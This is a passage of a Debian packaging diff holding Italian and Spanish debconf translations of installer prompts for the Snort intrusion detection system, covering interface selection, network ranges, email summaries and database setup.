+#~ "� necessario fare questo solo la prima volta che si installa snort-pgsql. "
+#~ "Prima di proseguire, assicurarsi di avere (1) il nome host di un sistema "
+#~ "con server pgsql configurato per consentire connessioni tcp da questo "
+#~ "host, (2) un database su quel server, (3) un nome utente e password per "
+#~ "accedere al database. In mancanza di _tutto_ ci�, digitare 'no' e farlo "
+#~ "poi partire con con un regolare file di supporto di log, oppure "
+#~ "correggere prima gli errori. Si pu� sempre configurare un database dei "
+#~ "log successivamente, riconfigurando il pacchetto sbort-pgsql con 'dpkg-"
+#~ "reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort necessita di un database configurato prima che possa partire con "
+#~ "successo. Al fine di creare la struttura, � necessario lanciare il "
+#~ "seguente DOPO che il pacchetto sia installato:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Compilare correttamente i nomi utente, host e database. PostgreSQL "
+#~ "chieder� la password."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Il file di configurazione � deprecato."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Inserire il nome dell'interfaccia che Snort dovrebbe monitorare.  I nomi "
+#~ "delle interfaccia disponibili verranno elencate digitando 'ip link show' "
+#~ "oppure 'ifconfig'. Il risultato � solitamente 'eth0', ma si potrebbe "
+#~ "decidere di modificarlo secondo le esigenze; se si sta utilizzando una "
+#~ "connessione dialup potrebbe essere pi� appropriato 'ppp0'."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Inserire la gamma di indirizzi che Snort deve monitorare."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Disabilitare la modalit� indeterminata se si sta configurando Snort su "
+#~ "un'interfaccia priva di un indirizzo IP configurato."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Inserire il nome host del server database mysql da usare."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Inserire il nome del database da usare."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Inserire il nome del'utente del database che si intende usare."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Inserire il nome deel'host del server database pgsql da usare."
--- snort-2.7.0.orig/debian/po/es.po
+++ snort-2.7.0/debian/po/es.po
@@ -0,0 +1,922 @@
+# snort debconf translation to Spanish
+# Copyright (C) 2004 Software in the Public Interest
+# This file is distributed under the same license as the snort package.
+#
+# Changes:
+# - Initial translation
+# 	Javier Fernandez-Sanguino Pe�a <jfs@debian.org>, 2004
+# - Updates
+# 	Javier Fernandez-Sanguino Pe�a <jfs@debian.org>, 2005-2008
+#
+#
+#  Traductores, si no conoce el formato PO, merece la pena leer la 
+#  documentaci�n de gettext, especialmente las secciones dedicadas a este
+#  formato, por ejemplo ejecutando:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#
+# Equipo de traducci�n al espa�ol, por favor, lean antes de traducir
+# los siguientes documentos:
+#
+# - El proyecto de traducci�n de Debian al espa�ol
+#   http://www.debian.org/intl/spanish/coordinacion
+#   especialmente las notas de traducci�n en
+#   http://www.debian.org/intl/spanish/notas
+#
+# - La gu�a de traducci�n de po's de debconf:
+#   /usr/share/doc/po-debconf/README-trans
+#   o http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort debconf 2.1.0-4.1\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-27 23:44+0200\n"
+"Last-Translator: Javier Fernandez-Sanguino Pe�a <jfs@debian.org>\n"
+"Language-Team: Debian Spanish <debian-l10n-spanish@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-POFile-SpellExtra: tap MySQL share gz mirroring ifconfig cron ppp conf\n"
+"X-POFile-SpellExtra: mysql spanning port plow parameters TCP pgsql init\n"
+"X-POFile-SpellExtra: PPP usr common rev�sela DEPCONFIG zcat pppd IPs Snort\n"
+"X-POFile-SpellExtra: CIDR cd dpkg psql sbin PostgreSQL default doc route\n"
+"X-POFile-SpellExtra: createmysql createpostgresql inspeccionarse snort\n"
+"X-POFile-SpellExtra: HOMENET eth\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "arranque"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "marcaci�n telef�nica"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "M�todo de arranque de Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort se puede arrancar snort en el arranque del sistema, cuando el sistema "
+"se conecte a Internet con pppd o manualmente cuando lo arranque ejecut�ndolo "
+"con �/usr/sbin/snort�."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaz/ces donde deber�a escuchar Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Este valor suele ser �eth0�, pero puede no ser correcto para algunos entornos "
+"de red. Si est� utilizando una conexi�n de marcaci�n telef�nica mediante PPP "
+"a Internet puede ser m�s apropiado utilizar �ppp0� (consulte la salida de �/"
+"sbin/ifconfig�)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Generalmente la interfaz que se a�ade aqu� es generalmente la misma que "
+"tiene definida la ruta por omisi�n. Para determinar qu� interfaz se est� "
+"utilizando para esto, ejecute �/sbin/route -n� (busque aquellos valores "
+"asociados a �0.0.0.0�)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tampoco es infrecuente ejecutar Snort en una interfaz sin direcci�n IP que "
+"est� configurada en modo promiscuo. Para estos casos, seleccione la interfaz "
+"en el sistema que est� f�sicamente conectada a la red deber�a "
+"inspeccionarse, active el modo promiscuo m�s adelante y aseg�rese que el "
+"tr�fico de dicha red se est� enviado a esa interfaz (bien conect�ndola a un "
+"puerto de un conmutador en modo �port mirroring/spanning�, bien conectado a "
+"un concentrador o a un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Puede configurar m�ltiples interfaces simplemente a�adiendo m�s de un nombre "
+"de interfaz y separ�ndolos por espacios. Cada interfaz puede tener su propia "
+"configuraci�n."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalo de direcciones para la red local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Tiene que utilizar el formato CIDR, esto es, 192.168.1.0/24 para un bloque "
+"de 256 IPs o  192.168.1.42/32 para s�lo una direcci�n. Debe separar "
+"m�ltiples direcciones por �,� (comas) y sin espacios."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Tenga en cuenta que si Snort est� configurado para utilizar m�ltiples "
+"interfaces se utilizar� esta definici�n como valor de �HOME_NET� para todos "
+"ellos."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "�Deber�a Snort deshabilitar el modo promiscuo en la interfaz?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si deshabilita el modo promiscuo Snort s�lo analizar� paquetes dirigidos a "
+"la propia interfaz que se est� monitorizando. Si lo activa Snort comprobar� "
+"todos los paquetes que pasen por el segmento Ethernet incluso aunque sean "
+"parte de una conexi�n entre otros dos sistemas."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaz inv�lida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort est� intentando utilizar una interfaz que no existe o est� "
+"desactivada. Es posible que est� tomando el valor por omisi�n �eth0� y no "
+"exista en su sistema o que haya especificado una interfaz inv�lida."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "�Deber�an cambiarse el orden de las pruebas a Pasar|Alertar|Registrar?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"El orden de pruebas por omisi�n para Snort es Alertar|Pasar|Registrar, si "
+"acepta esta opci�n el orden se modificar� a Pasar|Alertar|Registrar que "
+"puede ser m�s sencillo para utilizar Snort con algunas herramientas de "
+"filtrado de paquetes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "�Deber�an enviarse res�menes por correo electr�nico?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Puede configurar una tarea en cron que env�e res�menes diarios de los "
+"registros de Snort a una direcci�n espec�fica."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Indique si quiere activar esta funcionalidad."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatario de los correos de estad�sticas diarias:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Indique la direcci�n de correo que deber�a recibir los res�menes diarios de "
+"los registros de Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opciones adicionales a medida:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Indique las opciones adicionales que Snort deber�a utilizar."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+"N�mero m�nimo de ocurrencias antes de incluir una alerta en los informes:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduzca el n�mero m�nimo de ocurrencias de una alerta que deben "
+"producirse antes de incluir una alerta en las estad�sticas diarias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Es necesario reiniciar Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Dado que Snort se ejecuta de forma manual tiene que ejecutar �/etc/init.d/"
+"snort� para que se apliquen los cambios."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Error de configuraci�n"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La configuraci�n actual de Snort es inv�lida e impedir� que Snort se "
+"ejecute. Por favor, rev�sela y corr�jala."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Puede diagnosticar los errores en el fichero de configuraci�n utilizando �/"
+"usr/sbin/snort -T -c <fichero>�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fichero de configuraci�n obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema utiliza un fichero de configuraci�n obsoleto (�/etc/snort/snort."
+"common.parameters�) que ha sido convertido de forma autom�tica al nuevo "
+"formato de fichero de configuraci�n (en �/etc/default/snort�)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Por favor, revise el nuevo fichero de configuraci�n y borre el antiguo. El "
+"gui�n del init.d no utilizar� la nueva configuraci�n hasta que lo borre y no "
+"podr� por tanto aprovecharse de las ventajas introducidas en nuevas "
+"versiones."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"�Quiere configurar una base de datos a la que snort-mysql enviar� los "
+"registros?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"No se ha configurado ninguna base de datos para Snort. Antes de continuar "
+"debe asegurarse de disponer de:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - el nombre del servidor (este servidor debe permitir conexiones\n"
+"   TCP desde este sistema),\n"
+" - el nombre de una base de datos en ese servidor,\n"
+" - un nombre de usuario y contrase�a para acceder a la base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Si no cumple con algunos de estos requisitos rechace esta opci�n y ejecute "
+"Snort con el soporte normal de registro en ficheros."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Puede configurar el volcado de registros en base de datos m�s adelante "
+"ejecutando �dpkg-reconfigure -plow snort-mysql�."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nombre del servidor de base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Especifique el nombre de equipo de un servidor de base de datos que permite "
+"conexiones de este sistema."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nombre de la base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Especifique el nombre de una base de datos existente al que el usuario de "
+"base de datos tiene acceso."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nombre de usuario para el acceso a la base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Especifique el usuario del servidor de base de datos con acceso de escritura "
+"a la base de datos."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Contrase�a para la conexi�n con la base de datos:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduzca una contrase�a para acceder a la base de datos de alertas de "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Es necesario configurar una base de datos para Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort necesita una base de datos correctamente configurada para poder "
+"arrancar. Para poder crear la estructura debe ejecutar las �rdenes mostradas "
+"a continuaci�n DESPU�S de instalar el paquete:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuario> -h <sistema> -p <base_de_datos>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduzca los nombres correctos para el usuario, sistema, y nombre de base "
+"de datos. MySQL le solicitar� la contrase�a."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Deber� arrancar Snort manualmente despu�s de haber creado la estructura de "
+"la base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "�Quiere preparar una base de datos para que la utilice snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Podr� reconfigurar m�s adelante el volcado en base de datos con �dpkg-"
+"reconfigure -plow snort-pgsql�."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <usuario> -h <sistema> -W "
+"<base_de_datos>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduzca los nombres correctos para el usuario, sistema, y nombre de base "
+"de datos. PostgreSQL le solicitar� la contrase�a."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fichero de configuraci�n obsoleto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"El fichero de configuraci�n de Snort (�/etc/snort/snort.conf�) utiliza "
+"opciones obsoletas que ya no est�n disponibles en esta versi�n de Snort. "
+"Snort no podr� arrancar a menos que tenga un fichero de configuraci�n "
+"correcto. Puede sustituir este fichero de configuraci�n por el que ofrece "
+"este paquete o arreglarlo manualmente eliminando las opciones obsoletas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Se encontraron las siguientes opciones obsoletas en el fichero de "
+"configuraci�n: ${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Est� ejecutando Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Su configuraci�n tiene un error"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Su fichero de configuraci�n es obsoleto"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arranque, conexi�n, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "�Cuando deber�a arrancarse Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Si quiere, puede especificar �any� (cualquiera) si no conf�a en ning�n "
+#~ "lado de su red."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una de las interfaces que ha especificado no es v�lida (puede que no "
+#~ "exista en su sistema o no tenga enlace). Debe introducir una interfaz "
+#~ "v�lida cuando se le pregunte en qu� interfaz (o interfaces) deber�a "
+#~ "escuchar Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "El paquete ha intentado utilizar la interfaz por omisi�n (�eth0�) si no ha "
+#~ "configurado un interfaz aqu�, y esta interfaz para que no es v�lida en su "
+#~ "sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si cambia el orden de prueba de las reglas de snort a Pasar|Alertar|"
+#~ "Registrar,  se aplicar?n el orden Pasar->Alertar->Registrar en lugar del "
+#~ "modo est�ndar Alertar->Pasar->Registrar. Esto evita que se tengan que "
+#~ "incluir muchos argumentos de l�nea de comandos con filtrado de paquetes "
+#~ "para filtrar sus propias reglas de alertas."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalaci�n de Snort incluye una tarea del �cron� que se ejecuta "
+#~ "diariamente y realiza un resumen de informaci�n de los registros de Snort "
+#~ "que luego env�a por correo electr�nico a la direcci�n indicada. Responda "
+#~ "�no� a esta pregunta si desea deshabilitar esta funcionalidad."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Se ejecuta diariamente una tarea del �cron� para resumir la informaci�n de "
+#~ "los registros generados por Snort utilizando un programa llamado �snort-"
+#~ "stat�. Indique aqu� el receptor de dichos mensajes. El valor por defecto "
+#~ "es el administrator del sistema. Si mantiene este valor aseg�rese de que "
+#~ "los correos de dicha cuenta son reenviados o le�dos por alg�n usuario."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Si quiere a�adir opciones adicionales a Snort, especif�quelas aqu�."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie a Snort con:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para que los cambios tengan efecto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Su configuraci�n de Snort no es correcta y no se podr� arrancar �ste con "
+#~ "normalidad. Por favor, revise su configuraci�n y arreglela. Las "
+#~ "actualizaciones del paquete Snort fallar�n si no lo hace. Para comprobar "
+#~ "el error que se genera ejecute �/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf� (o utilice otro fichero de configuraci�n si utiliza ficheros "
+#~ "distintos para distintas interfaces)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "S�lo tiene que hacer �sto la primera vez que instale snort-mysql. Andes "
+#~ "de seguir adelante aseg�rese de que (1) el nombre de servidor del equipo "
+#~ "que ejecuta la base de datos mysql permite realizar conexiones tcp desde "
+#~ "�ste equipo, (2) hay una base de datos en ese servidor, (3) el nombre de "
+#~ "usuario y contrase�a de acceso a la base de datos. Si no tiene _todos_ "
